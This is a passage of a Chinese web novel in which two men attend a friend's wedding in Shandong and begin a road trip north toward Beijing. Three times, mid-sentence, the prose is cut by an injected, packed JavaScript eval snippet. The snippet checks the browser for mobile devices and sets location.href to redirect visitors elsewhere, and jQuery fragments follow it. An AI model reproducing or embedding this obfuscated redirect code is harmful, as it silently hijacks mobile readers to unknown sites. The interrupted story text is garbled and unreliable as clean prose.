良久,段青深说:“好。” ——按理说一个三十岁参加过工作的成年人不应该这么容易被拐走,但摇摆之间段青深还是选择了他。 吃完饭后梁愿醒把修好的图给段青深看,但他看不出个头绪,只嗯嗯点头说挺好的。那份鲅鱼饺子梁愿醒只吃了两颗,剩下的段青深都吃完了。收拾桌子的时候梁愿醒实在好奇,问他是哪里人,他回答说户籍在浙江。 “哦~”梁愿醒把袋子系上,调整了下里面餐盒的位置,确保被拎起来不会洒。 “这边是我母亲的老家,我父母离婚后,我母亲带我来这里上高中。”段青深接过他手里的袋子,“所以我基本都吃得惯。” 说完,他补充:“无论鲅鱼水饺还是西湖醋鱼。” “这是成为大师的必经之路吗?”梁愿醒笑着问。 “嗯~”段青深扬着语调,“明天给你单独买一份,你修炼修炼。” “不必,”梁愿醒不假思索,“我不做大师,做个快乐的普通人就行。” 快乐的普通人。段青深动作顿了下。 事实上辞职后离开医院的这些天,他一直陷在一个形容不出的状态里。虽然辞职了,但还是进退维谷,总能依稀听见有声音在心底里回响。 大约在说:没关系的,你辞职只是一时糊涂,这段时间在外散散心而已,父亲会不知道吗?他只是在默许你,等你回去低头认错,他还是会给你安排一个工作,生活会回去正轨。 一切都来得及。 就像他对睡不着的梁愿醒说的,距离日出还有三小时,一切都来得及。 他此时就在日出前三个小时的黑暗里。 梁愿醒把修好的图做了压缩包发给姜妤,姜妤很快回复过来一个“谢谢”的表情。 收拾好东西,两个人决定出去散散步,垃圾丢出去。酒店不远处是个步行街,虽然十月末的沿海地界在晚上冷飕飕的,但晚上出来的人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043491|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是挺多。 整条街都很香,今天白天下了雨,晚上虽挺冷,水果刨冰的摊子依然生意很好,排着队。 梁愿醒望了一眼,刨冰柜台里面放着切好的各种水果,旁边摊子刚好在压铁板鱿鱼,哧啦一声。老板吆喝着“往后退啊!油溅着你们一会儿!”伴随着一阵油脂焦香的味道一齐奔涌到梁愿醒脸上。 曾晓阳那句话怎么说的来着,段青深偷偷瞄他一眼,二十三岁,正是吃饱了还能再吃两顿的年纪。 “吃吗?”段青深问,“现做的比买回去的要好吃很多。” “你都这么说了。”梁愿醒笑起来。 在步行街排队买吃的是一件比较狼狈的事儿,因为这条街比较窄,排队就得横着排,稍有不慎就会让隔壁摊子的队伍觉得这是来插队的。 不过还好,人家老板动作流畅又迅速,铁板温度足够高,海产品易熟,很快就排到他们。 老板手里摁着处理好的鱿鱼:“吃什么?” “吃什么?”段青深准备好扫码付钱了。 “我自己来吧。”梁愿醒有点不好意思。 “吃什么!?”老板又问。这一问明显带着催促的意思,大约在想,你们在饭馆里抢着付钱也就算了,怎么路边摊也要抢。 “鱿鱼!”梁愿醒说,“鱿鱼、薯条、冰可乐!” “冰可乐没有!”老板说,“那是我闺女喝剩的!” “哦!”梁愿醒说。 “我去那边给你买。”段青深付了钱,“你在这排着。” 步行街走到头有个小广场,说是广场,其实就一片圆形空地,几张便民的桌子凳子,大家在这儿吃东西。 “走近了才发现是酸梅汤不是可乐。”段青深叹气,“颜色太像了。” “没事,冰的就行,酸梅汤也好喝。”梁愿醒说。 下过雨的空气很舒服,梁愿醒嚼着鱿鱼腿,忽然意识到此时此刻无比舒适。 “这地方真的好舒服。”梁愿醒说,“既不是很潮湿,秋风也不燥。” 对此,段青深赞同:“是这个时节舒服,但夏天还是挺潮的,尤其靠海那一带,风里都有盐分。” 段青深在这里生活过一段时间,只不过相隔太久,城市变化很大,很多地方他自己也不认识路了。垃圾丢一丢之后继续散步,信马由缰,慢慢地沿街走着。 走了没一会儿,看见交警执法,拦了辆黑色桑塔纳,正在盘问司机。梁愿醒好奇地往那儿看。 段青深也看过去,问:“怎么了?” “你听过一句老话吗,‘白捷达、黑普桑,后备箱里全是枪。’” “……什么乱七八糟的。”段青深蹙眉,“跟谁学的。” “我以前酒吧老板。”梁愿醒说。 “哦,我前辈。” 嘶。语气听着怎么不太对劲呢。梁愿醒收回视线,看向他脸。 “那酒吧怎么倒闭的?”段青深问。 梁愿醒两手揣兜:“嗯……我们以前开在西湖边上。” 这么一句话就够了。段青深了然:“房租太高,酒的零售价太贵被游客吐槽,经济形势又差。” 梁愿醒点头:“是呀,最后一盘算,差点连装修钱都没挣回来。” “很正常,近些年做实业不像以前了。” “那你接下来呢?”段青深又问,“我不是问长远的,就……下一步,你到了西北之后打算做什么?” “我不知道啊。”梁愿醒是笑着说的。尽管段青深没有看他的表情,但他语气轻松又无所谓。 接着他又说:“我们都会死的。” “什么?”段青深乍然以为自己听错了。 “我说,我们都会死的,所有人的终点都一样,不要太在乎结果。”梁愿醒说,“你看过一本漫画吗,叫《我能有什么坏心思呢》。” 段青深摇摇头。 漫画小说什么的,他小时候没机会接触,长大后也没萌生过兴趣。 梁愿醒拿出手机翻了会儿相册,然后递给他。 图上是两只海鸥的对话。 ——我是说咱们一生的终极目标是什么,我们活着是为了什么? ——为了去码头整点薯条。 梁愿醒说:“我们要去西北整点照片。” 9.第 9 章 婚礼当天,两个人都起晚了。 昨夜散步一直散到海边,坐在长椅促膝长谈直到月亮都打了哈欠。 聊天就那么随心所欲地聊。梁愿醒说在酒吧唱歌的时候的事儿,忙起来会帮调酒师洗杯子,顺道在吧台听八卦。 酒吧的吧台是个很有意思的地方,酒保和顾客会在某个契合的时间点里不自觉地开始演戏,像是美国西部公路旁,厌世的酒保眼神麻木又疲惫,顾客一遍又一遍地换着不同角度倾诉着同一件事。 客人们倾诉的话题也与时俱进,最近已经鲜少有人问酒保“什么是爱情”了,最近大家在问酒保“什么是人生”。 酒保会冷漠地说:这是另外的价钱。 有时候客人真的喝多了,非要付钱听听那人生的意义,酒保也会从容掏出平板电脑,打开某哲学教授的付费网课。 昨晚聊得段青深觉得像喝醉了。 他不喝酒的,但他觉得那大概就是一种醉意。轻飘飘的,没有压力,什么都可以聊,而且是被允许的。 “几楼?”梁愿醒摁了两下电梯上行键,然后又摁了一下。 “呃……”段青深慌乱地掏出手机,看聊天记录,“4楼。” “走楼梯。”梁愿醒不由分说握住他手腕。 也是昨晚,梁愿醒知道了他究竟在犹疑不定些什么——明明都辞职了,最难做的抉择已经做了,他却还踟蹰不前,迈一步思前想后。 “这个厅?”梁愿醒问。 “整一层都是。”段青深捏着手机,他在找上礼金的那个台子。 “那儿吧!”梁愿醒看见了。 酒店整个4楼都是大红色的布景,导致同样铺着红桌布的礼金台有点融入背景了。二人跑近了才发现是女方亲友的礼金台,对方笑着指着对面:“男方亲友在那儿。” 二人携手冲进大厅里的时候,司仪差那么一点点习惯性脱口而出让我们欢迎这对新人。 还好,司仪及时刹住了。 段青深四下看了一圈,厅内比较暗,灯光聚集在舞台。他其实是有些慌的,很多人在看他……他们。段青深不喜欢这种感觉,非常、非常不喜欢。 不过场面并非他想象的那样,大家只看了那么一眼而已,发现并不是新郎新娘,大家就转回头继续和别人聊天。 “这边!!”何文冰发现了他们,站起来跟他们招手。 厅里的桌摆放密集,因为中间置放了个漂亮的新娘花厅,占掉了部分空间。很多桌的座椅都是椅背抵着椅背,需要请别人起来让一下。 段青深在前,一直牵着梁愿醒,因为不巧,他们那桌是整个厅最昏暗的地方。 期间段青深回头两次,叮嘱他小心脚上的伤口。 “你俩等上热菜了再来呗。”何文冰打趣他们。 “不好意思不好意思。”梁愿醒往前挪了挪椅子,“昨晚睡太晚了。” 这桌都是高中同学,段青深依次介绍了下,大家互相打招呼。何文冰今天是伴郎之一,他扶了扶西装胸口别着的花,问:“我吃完饭就得赶车走了,你们呢?” 段青深扭头和梁愿醒对视了一眼,这一对视搞得何文冰哭笑不得,又问:“还要对暗号??” 不是对暗号,根本没什么暗号,他们也不明白这时候为什么要对视。段青深咳嗽了下,说:“不是,没有,我们…我们也差不多,吃完饭,在市里买点东西就走了。” “你们去哪儿啊?”曾经的班长李志涵问。他刚问出口,骤然,大厅里响起音乐,大约是婚庆公司的人第一下没设置好音量,连经常在婚礼现场工作的服务生都吓了一跳。 “哎哟我草!”何文冰一激灵,连忙抚着自己胸口,“没事没事。” 何文冰安慰完自己,转头看向大家,这儿没灯,光线幽幽的。他右边是段青深,段青深的右边是梁愿醒。 所幸婚庆的人很快把音量拧小,梁愿醒这才慢慢松开段青深的手腕——刚刚段青深大约是打算掏手机还是什么,左手垂了下来,被陡然一惊的梁愿醒直接攥住。 应该给他捏得挺疼的,梁愿醒这人劲挺足,尤其手劲,学琴的时候老师就夸过他,重音给得真到位。 “……”他看向段青深,“疼吗哥?” “一般疼。”段青深说,“确实该等到上热菜了再来的。” 梁愿醒笑了两声,继续弯腰去够脚踝。随后反被段青深又握住手,他厉声道:“别挠。” “我痒。” “我知道,长伤口就是痒,忍忍。” “不是,我被蚊子咬了。” 音乐虽然被拧小了,但还是需要凑近了说话才能听清。所以在何文冰的视角里……吓人不就吓那么一下子吗,怎么两个脑袋还挨着。 段青深用不太信任的眼神看着他。 梁愿醒说:“是真被咬了,我也很纳闷,他们山东蚊子不怕冷吗?这个天还出来咬人。” 追光灯打到厅门那儿,服务生拉开大门,姜妤穿一身漂亮的婚纱走进来。大家热烈地鼓掌欢呼,司仪读着一串接一串不重样的赞美之词。 “哎哎。”何文冰拍拍段青深,“哄好了没?新人进场了,分个眼神给咱曾哥呗?” 姜妤拎着裙子走上舞台后,追光灯又来到门口,接下来是新郎进场。 昨晚段青深告诉他,曾晓阳是他高中时代最好的朋友。他父母离婚是因为父亲出轨。那时候他跟着母亲回到山东外公外婆家里,那个阶段他母亲的状况很差,连带着他也终日消沉。 曾晓阳这个人比较外向爽朗,把他带进了他们这群兄弟堆里,也就是今天坐在同一桌的这几个人。 昨晚他说到这里的时候,梁愿醒并不意外。或许是因为他觉得段青深身上本就该有些故事感,也可能是白天那句“那我们挺像的”,总之梁愿醒难得安静地听一个人说话。 直到段青深反过来问他,那你呢? 那张长椅就在沙滩公园外边不远,夜风里有咸咸的味道。 梁愿醒告诉他,自己的母亲是钢琴演奏家,父亲送她去参演的路上下雨了,一辆大货车超载,打滑刹不住车,朝他们撞过去,父母双亡。那时候梁愿醒很小,还没记事。 小时候梁愿醒的姨妈抱着“我一定要替姐姐养好这个孩子”的信念,照着梁愿醒母亲的喜好和志向来培养他。 昨晚在海边那个长椅上,他跟段青深说,所以妹妹不学钢琴就不学了,但自己一定要学,倒不是姨妈在逼迫,而是从小听了太多这样的话。 ——你一定要像你妈妈一样。 ——你遗传了你妈妈优秀的演奏基因。 不仅在家里。母亲曾经的校友、老师,还有她曾经乐团的乐手同事都愿意为自己指点甚至免费上课。 家里亲朋好友都是掏心掏肺地对他好,这点他自己明白。姨妈姨夫风雨无阻地送他去上课,舅舅一家照顾虽不多,但隔三差五给他打钱。 梁愿醒说到这儿的时候,几乎是说半句就叹一声气。 “所以你去酒吧唱歌,其实家里是很不满的。”段青深说。 “非常不满。”梁愿醒耷拉着脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050245|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋说,“因为……因为当时刚毕业,很迷茫,就想先在酒吧打个工嘛,但家里直接炸锅了,他们很难过地对我说:‘你去那种地方唱歌,让你妈妈怎么想。’” “我……”梁愿醒又叹气,接着说,“我顶嘴了,朝他们喊:‘她到底给你们谁托梦了,为什么这么多年有事不直接来找我!’” 梁愿醒不知道这样是好还是不好,但无论如何他还是走到了这里。 段青深回答不了他,关于这样好不好的问题。 梁愿醒说完后,他们坐在那儿,吹着咸湿味道的夜风,沉默了一段时间。 “所以你也是被推着走的。”良久的沉默后,段青深这么说。 “是的吧。”梁愿醒回答。 然后他眯着眼问:“这地方的风从来都这么大吗?” 段青深回忆了下:“是的。” 婚宴厅里的灯光终于亮起来,接着新郎新娘的父母上台感谢宾客。同时,服务员来上凉菜了。 “来来来倒酒!!”李志涵吆喝,“今天老曾大喜啊大喜!没有人能在我眼皮子底下直着从这个厅儿里直着出去!” “这话说的。”汪晖笑道,“班长像是要把咱们一桌都掰弯。” “去!”李志涵白了他一眼,问梁愿醒,“小梁能喝不?” 小梁咻咻地摇头:“我还是不喝了,不能酒驾,不好意思啊李哥。” 小梁还小,但旁边这位年长呀。 年长的这位试图避一避:“我今天还得开车。” “开什么车!” “他真不成。”何文冰开口帮他说话了,然而他没说什么今天他有事啊之类的为他开脱。 何文冰说:“他辞职了。” 霎时间餐桌静了一下。 除开何文冰和梁愿醒,以及辞职的这位本人,其他人都很明显愣了下。有人以上扬尾调说了句“我草?”接着,李志涵小心翼翼问:“那你爸不得把你腿打……等下,所以你现在是…跑路了?” “算是吧。”段青深点头。 “你打算往哪儿跑啊?”李志涵问。 段青深笑了下,抬手拍了下梁愿醒的肩,说:“看醒醒带我往哪儿跑了。” “我们……”醒醒想了下,“我们先往远了跑。” “是得跑远点儿!”李志涵赞同,认真地看着梁愿醒,“他爸那人……我说话一直不好听啊,他爸真的那个控制欲太过了有点儿。” 段青深笑笑:“没什么不好听的,是事实。” 这点,昨晚在海边,段青深也说了。当时梁愿醒问得很直白:“你为什么有勇气辞职,却没有勇气继续往前走?” 段青深回答:“我父亲总会给我留一个‘掉头缓冲区’”。” “我做错一件事之后他不会立刻惩罚我,而是给我点时间让我去认错,只要在这个时间段里回头,我就还是安全的,他会既往不咎。这次……可能也一样,他没有立刻发作,而是等我自己反省然后回头。” 梁愿醒感觉莫名其妙,说:“不是的深哥,辞职可能在传统观念里并不一定是好事,但也未必是绝对的坏事。” “醒醒?”段青深又叫了他一遍。 他适才回过神:“啊?” “你往我这儿……”话没说完,段青深见服务员已经端着咕噜噜的小砂锅伸过来了,厅内拥挤,音乐不停。 他想提醒梁愿醒,给人家让点位置上菜,但梁愿醒一直在走神。 于是他只能握住梁愿醒的椅子腿,把他连人带椅子拽来自己身边挨着。 10.第 10 章 他被拽了个猝不及防,身子一歪,下意识握住段青深的胳膊保持平衡。 “小心烫!”服务员喊着,把小砂锅搁在桌上,又扭身接过同事递来的另一道菜。 “你劲挺大。”梁愿醒说。 “你走神挺专注。”段青深说,“你这个档口上菜,就这么坐吧。” 梁愿醒从小就这样,控制不住,走个神能走到手机信号覆盖范围之外。他点头:“好,就这么坐。” 婚宴很热闹,也也不可避免的很吵。小孩儿在音乐声里尖叫,大人要用更大的声音去训斥,但完全没有震慑效果。 今天来婚礼的同学几乎都是请假赶过来,所以吃完饭也都匆匆地要离开,有的还要去赶高铁。饭后大家去厅门口跟新郎新娘道别,大家跟过招似的“再留一晚”“不了不了”“明儿再走,明儿我帮你叫车送你走”“真不成,你看领导发的微信”…… 段青深带着梁愿醒最后一个跟曾晓阳告别。 “我们走了啊。”段青深拍拍他胳膊,“新婚快乐。” 曾晓阳没挽留他,只叹了口气,说:“你也整快点儿的,我急着喝你喜酒。” 段青深笑着搂了搂梁愿醒的脖子:“这事你指望我,不如指望醒醒。” 梁愿醒有点迟钝,问:“我能有什么喜酒?” “生日吧。”段青深半开玩笑地说,“等你明年过生日,也给你摆这么一厅。” 梁愿醒蹙眉:“别了。” 小孩太多,桌子太挤,音乐太吵。 曾晓阳问:“为啥不是今年?” “今年的你赶不上了。”段青深说,“我们走了啊。” 他摆摆手,也松开了梁愿醒。梁愿醒乖巧地笑着说再见,走前往姜妤手里塞了颗巧克力,因为姜妤看起来又饿又累。 直到回了酒店收拾行李,梁愿醒才反应过来。 “哦!”他擦着头盔,恍然大悟,“曾哥说的喜酒是催你结婚呢?” 段青深无语地看过来:“是呀,我这个年纪还能有什么性质的喜酒呢,小梁同学。” 小梁同学把他头盔擦得干干净净,又用擦过头盔的湿巾弯腰擦了擦鞋。恰好酒店服务员按了门铃,段青深去开门,是两个人的衣服洗好烘干了送上来,一切都踩在最完美的时机。 梁愿醒走到摩托车旁边,先把手机的数据线插上充电,卡进仪表盘旁边的手机支架,然后调好头盔里的耳机,再打开对讲机。 他在那儿折腾一连串线的时候,段青深搜了下导航。 两个人在停车场同时转过身靠近对方,说—— “深哥帮我重新扣一下对讲机。” “我们走京沪高速这条线怎么样?” 随后又同时回答—— “好的。” “可以啊。” 骑行运动对讲机当时在店里还买个安全扣,扣在头盔下边的。因为当时店员看梁愿醒是骑行服,要是扣在领子那儿,会不停地磕喉咙。但这个安全扣他还不太熟练。 “好了。”段青深帮他扣好,抬头,“我把导航路线分享给你。” 他在梁愿醒头盔上拍了下,朝他笑笑。 他们今天的行程计划是400公里到沧州,大约8个小时。离开酒店停车场,刚好下午两点整,天气很好,梁愿醒盖上护目镜,状态也很好。 梁愿醒挑一首喜欢的歌,然后让列表随机播放,拧着油门骑上马路,一切都很顺利,甚至连第一个路口是个绿灯这种巧合都让他觉得今天太顺利了。 于是在对讲里,梁愿醒说:“要是真这么一路绿灯开上国道,我觉得今天不止能到沧州啊!” 段青深拿起对讲,靠在唇边:“那你觉得今天能到哪儿?” 对讲那边的声音无比嚣张:“三十个小时到酒泉,在酒泉稍微睡两个小时接着七小时冲出嘉峪关!” “今天你能过黄河大桥我都算你厉害。” “哈哈哈哈哈~” 今天8个小时,晚上10点到沧州,这是段青深觉得极致顺利的情况。不堵车、加油站不排队、车不故障也没有任何意外。而他真正预想的是今天能过了黄河就行,虽然不是在赶路,但如果能在他生日那天到敦煌就好了,段青深这么想。 依然是梁愿醒在前面骑,段青深跟车。摩托车拆掉尾箱后看起来飘逸了许多,在段青深视野中,一身帅气骑行服的青年,浑身没露出半寸皮肤。 段青深第一次意识到网上说的“帅是一种感觉”究竟是什么感觉。 但想想又觉得未必,因为即便看不见脸,身材还是能看见的。 甚至就因为看不见脸,所以身材尤为重要。 第一次停车加油是接近青州的路边。 傍晚接近七点,天已经很暗。 段青深问:“你想吃点东西吗?前面有几家店。” 这附近是个小镇,加油站在国道下来的匝道口,前后开了几家连锁的小吃店和小超市。梁愿醒摇头:“我中午吃的还没消化呢,但我想活动活动。” “好。”段青深笑笑,把他头盔放自己车后座里,关上车门。 原本段青深以为长途跋涉需要的常备药是感冒药止痛药,没成想还得备上些健胃消食片。 “你这饮食方式要注意点。”返回加油站的路上,段青深跟他说。 梁愿醒明白他指的是什么:“可是真的很好吃,这辈子第一次吃到海肠捞饭。” 段青深叹气:“但好吃你也不能一顿吃到顶啊。” 梁愿醒抿抿嘴:“我一般是吃完了才发现吃顶了。” 回到加油站停车区,梁愿醒长长地伸了个懒腰,眯着眼舒服地哼哼了两声。段青深觉得他应该是头一回北上,对北方城市的一切都有着滤镜般的好感。 梁愿醒刚准备戴上头盔继续出发,忽然想起件事儿,他猛地扭头:“深哥!” “嗯?” “我琴!”梁愿醒像踩着蛇似的咻一下跑去吉普后备箱,“深哥我琴盒里还放着干燥剂,快快快打开我把它拿出来!” “干燥剂?”段青深帮他打开后备箱,在里面翻出来梁愿醒尤克里里的琴盒。 他打开,里面放了三包干燥剂。梁愿醒拿出来,说:“不放不行,我家的湿度能到99%。” 这确实,段青深点点头。 天黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062535|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了之后,就由段青深在前开车,梁愿醒跟车。 目前距离沧州还有三百多公里,段青深在对讲里说:“今天不赶路了,过了黄河找地方过夜。” “没问题。” 省道这一段的照明不太好,路也坑洼,路边还有骑三轮的大爷,根本不管你什么机动车道非机动车道,颇有一种看淡生死的无畏无惧。 段青深开车开得差点冒火,根本不看红绿灯的电动车也就罢了,还有蛇形向前冲锋并且逆行的老头乐。 相比之下梁愿醒跟车就轻松很多,完全不知道前面段青深是什么状态,只是在完全经过禁止鸣笛路段后,他听见一声车喇叭。 “一群人站在马路中间聊天!”段青深在对讲里解释。 “哈哈哈哈哈哈。”梁愿醒笑坏了,“你一直憋着呢?不过在省道上还禁止鸣笛……” 反正梁愿醒挺开心的。 就连遭遇史诗级堵车,他也笑眯眯。 原本段青深以为现在是非假期,路况会比较通畅,没想到生生在黄河大桥以南10多公里的地段堵上了。而且是水泄不通的那种堵。 时间是晚上九点,梁愿醒一条腿支在地上,停在段青深车边。 他也不扶车把手了,头盔摘下来搁在油箱上,用力吸了一口夜里清凉的空气。然后段青深问:“你在吸车尾气吗?” 梁愿醒差点被呛死。 他无奈地扭头望着车里的段青深:“哥,我们前后左右都熄火了,没有尾气。” 段青深也熄火了,因为前面很多人都下车走动了,看起来这堵车的趋势可谓遥遥无期。 梁愿醒将摩托车的腿撑一踢,另一条腿直溜溜地一扫,下车活动了两下肩颈。随后,他胳膊搭在段青深副驾驶的窗沿:“下来吧,还要堵上一阵子。” 段青深看情况觉得也是,他下车后站在主驾驶这边点了根烟,恰好后面车主走过来跟他借火。梁愿醒过来跟人家攀谈:“大哥,今天不逢年不过节的,怎么大晚上堵成这样呀。” 大哥点上烟,打火机还给段青深,说:“前面出事故了,大型连环事故。” 大哥又说:“听说是一辆大挂车超载,失控没刹住车,直接冲向对向车道了。生死真是一瞬间呐。” 梁愿醒愣神了片刻。段青深拉住他手腕把他带回车边。 这晚终究是没能过黄河。他们跟着车流磨蹭到最近的镇子,去镇上吃了顿汉堡炸鸡,找了间旅店。 这晚,段青深接到了一通电话,是他妈妈打来的。 电话只聊了几分钟,大部分时间是段青深在报平安。显然,他父母已经知道了他辞职的事。 旅店的房间不大,依然是住在同一间,所以梁愿醒能听见他最后说了一句“我明白的,世界上没有后悔药”。 那通电话挂断后,梁愿醒一边设法让房间窗帘中间的缝儿合上,一边说:“这世界有后悔药啊。” “什么?”段青深看向他。 梁愿醒回头:“这世界有后悔药的,它叫做纹身贴。” 说完,他把T恤侧边往上拎起,露出他腰侧的一团云朵。 “好看。”段青深说。 11.第 11 章 第二天早晨,因为窗帘合不紧,清晨阳光径直劈进来。 梁愿醒把被子拽上来盖住脸继续睡。段青深起床后走到他这张床边:“醒醒,醒醒。” “我等下有急事要先回一趟浙江。”梁愿醒闷在被子里说,“我要回去改名叫梁深眠。” “那我改叫段醒醒,以后你叫我起床。”段青深又推了两下被子,说,“起来吧,洗漱一下,清点行李,我下楼买点早餐。” 镇子清早有些不浓不淡的雾气,冷意很明显,是纯冷,不掺潮气的冷。 梁愿醒捧着段青深买回来的煎饼,站在摩托车旁边。他敞着袋子口,让煎饼在风里冷却一下。 他问:“做煎饼的老板是不是便衣警察?” “……”段青深低头看了眼自己的,一样,左右露馅,“凑合吃吧。” “挺好吃的。”梁愿醒边嚼边说,“吃进嘴里都一样。” “别呛着风了,嘴闭上吃。” “闭着嘴怎么吃?”梁愿醒问。 黄河大桥下来有很多景区指路牌,湿地公园什么的。 梁愿醒戴的这枚对讲机是触碰式,他如果要跟段青深讲话,就轻轻摁一下它,等到它检测不到人声,就会休眠。 但这个对讲机的灵敏度似乎有点过头,车只是颠了两下,它触发交流模式了,并且梁愿醒没发现。 导致……他在头盔里跟着耳机唱歌,传去了段青深车里。 段青深的对讲机搁在杯架上,乍然传来唱歌声的时候,他第一反应是窜频率窜去了电台广播或者别人的对讲里。又因为他在开车,所以没有立刻拿起来检查。 而听了几句…怎么这么耳熟。 很多人在唱歌时候的音色和普通讲话时的音色会不太一样,梁愿醒属于有轻微差别。他唱歌时的声线更轻薄,加上他头盔内部狭小的空间在投射声音,有一种浴室唱歌的混响感。 他在唱《我的快乐时代》。 “时间尚早,别张开眼睛。” “长路漫漫是如何走过,宁愿让乐极忘形的我。” 段青深把自己车里的音乐暂停,只留下导航,听着梁愿醒的声音。清唱的,没有伴奏,对讲机的音质有些糙,不过在路上就刚刚好。 他们在《我的快乐时代》中跨过黄河,黄河以北的空气里有凉爽的味道,梁愿醒跟着下一首《不眠飞行》继续唱,他开头“Dududu~”的那几句让段青深感觉车开上了云端。 歌曲节奏明快,但因为调有点高,加上梁愿醒早上吃得太饱,而且又是在骑车,没唱上去的地方咳嗽了两声。段青深也忘了自己这个行为叫做“偷听”,顺手拿起对讲,说:“呛着了吗?靠边喝点水?” “啊——?”梁愿醒吓得差点车头打滑。 段青深一愣:“你小心点!” “等一下!”梁愿醒震声问,“你怎么听到的!?你听到了你不告诉我?!” 他们在下一段无护栏的地方开去土路停下了。 梁愿醒把车一熄火,头盔摘下来,气势汹汹地往吉普旁边走。段青深也下车,不知道该怎么办,关门的时候车门还夹着外套了,狼狈地拽了一下没拽出来又去开车门。 梁愿醒已经拎着头盔走到旁边,蹙眉怒道:“段老板你有点幼稚了吧!” “对不起啊。”段老板抿着唇,把车门关上,没关紧,又关了下,“我真…真没意识到,就……” “没意识到?” 国道上时不时唰地驶过一辆大货车,带起的风卷着沙砾。段青深把他拉到车的另一侧:“我错了。” “我真错了。”段青深比他高些,低头看着他眼睛,“一开始我以为…我以为对讲机窜频率,接收到了广播。” “电台广播能唱成这样吗?”梁愿醒没好气,“有几段路颠得我都转音了!” “哪有。很好听啊。” 梁愿醒幽幽看着他,没搭这句话。 段青深只能再道歉:“对不起。” 他很诚恳,也是真怕梁愿醒生气。这事认真说起来算他偷听,他没再为自己开脱什么,只能干巴巴地重复道歉。 但梁愿醒在乎的部分不一样。他换了只手拎头盔,挠了挠后脑勺,说:“不是……你得告诉我,我那瞎唱的,我……” 他磕巴住了,后半句想说的是“我不想你第一次听我唱歌是这种效果”,磕巴住了是因为这么讲还怪难为情。 还好段青深听明白了。他摇摇头:“我觉得特别好,听你唱歌的时候很轻松。” 段青深心里一直压着块石头,他今年三十岁,带着差不多十万块积蓄和走得越远就越不会得到父亲原谅也没关系的魄力,但还是处于一个“虚浮自由”的状态,很不安。 “这次不算。”梁愿醒说,“下次好好唱的时候你再听。” “嗯。”段青深笑起来,“如听仙乐耳暂明。” “拉倒吧。” 一个半小时后,当加油站便利店广告牌上出现大量且密集的“德州扒鸡”时,不用看导航也能知道到哪儿了。 205国道贯穿华北、华东和华南,由南到北的话,能一条道从深圳开到山海关。 这天中午,说来也巧,他们在沧州吃一家火锅鸡的时候,姜妤的电话打过来了。 打给段青深的,那火锅鸡刚好还烫着,没法下嘴。他边制止梁愿醒吃烫食,边接起电话。一句“喂”还没来得及说出口,姜妤率先怒道:“赶紧收钱!” “妤姐,不收了吧,本来就是说好了帮忙的。” “什么帮忙,那是婚庆公司的赔款,本来就是支付拍摄的,赶紧收了。”姜妤那边态度很强硬,“对了,还有个事儿,你们今天能到北京吗?” 服务员端上来蒜蓉粉丝虾和小酥肉,段青深示意他先吃,继续说:“我们不过北京,走京沪高速,只过大同。” “不是!”姜妤那边笑了下,“哎呀我没说清楚,给你介绍个活,在北京,接不接?是以前在我服装店打工的一小男孩,后来自己去北漂单干了。” 段青深一时间有些为难,苦笑了下:“说实话啊,我挺想接的,但我拍人像实在很一般,回头再给你丢人。” 听到这,梁愿醒单听段青深这边的发言,大概猜到了个七八。但他没插话,就看着段青深。 姜妤那边声音很爽朗:“你不会以为我把你强塞给人家吧?真不是啊,我干嘛莫名其妙推给你个人情,是他自己刷到我朋友圈,看见你给我拍的照片,然后来问我的。” 见梁愿醒不动筷子,他换左手举手机,拿起筷子夹了个酥肉放进他碗里。 “这样,妤姐,我先跟醒醒商量一下,然后给你回电话,几分钟,行吗?”段青深说。 “人像摄影,在北京拍两天。一套外景一套棚内一套夜景,底片全给,他那边自己修图,八千八,接不接?” “接啊!”梁愿醒脱口而出,“八千八!北京商业摄影前景这么好?” “可能人家看着妤姐面子。”段青深说,“所以你同意的话,我们就先去一趟北京?” 梁愿醒嗯嗯着点头:“又不绕多远,一起去,挣油钱。” “嗯。”段青深接着给姜妤回电话,梁愿醒把碗里的小酥肉塞嘴里,点点头表示好吃。 路线没有改变多少,本来就打算走京沪高速。原计划在京沪高速上只跑一小段儿,然后上荣乌高速。现在改道直接往北京去。 一顿火锅鸡吃完出来,梁愿醒感觉自己充满干劲。 “走啊!挣钱去!”梁愿醒抱着头盔,见他还靠在车门看手机,催促道,“快点呀,都两点多了。” 段青深站直起来,“没事,到了都撞晚高峰,我在给对方发设备信息。” 想来也是,梁愿醒抬头看了看天。他记得上礼拜刚从家里出发的时候外面28摄氏度,天很晴,风把T恤贴在皮肤上。其实到十月份,长江中下游的湿度也没有到夸张的程度——是对比来讲,那天65%的湿度竟让他觉得风很干爽。 在山东的时候因为沿海,也让他觉得还好。但过了黄河就不一样了,干燥程度让梁愿醒 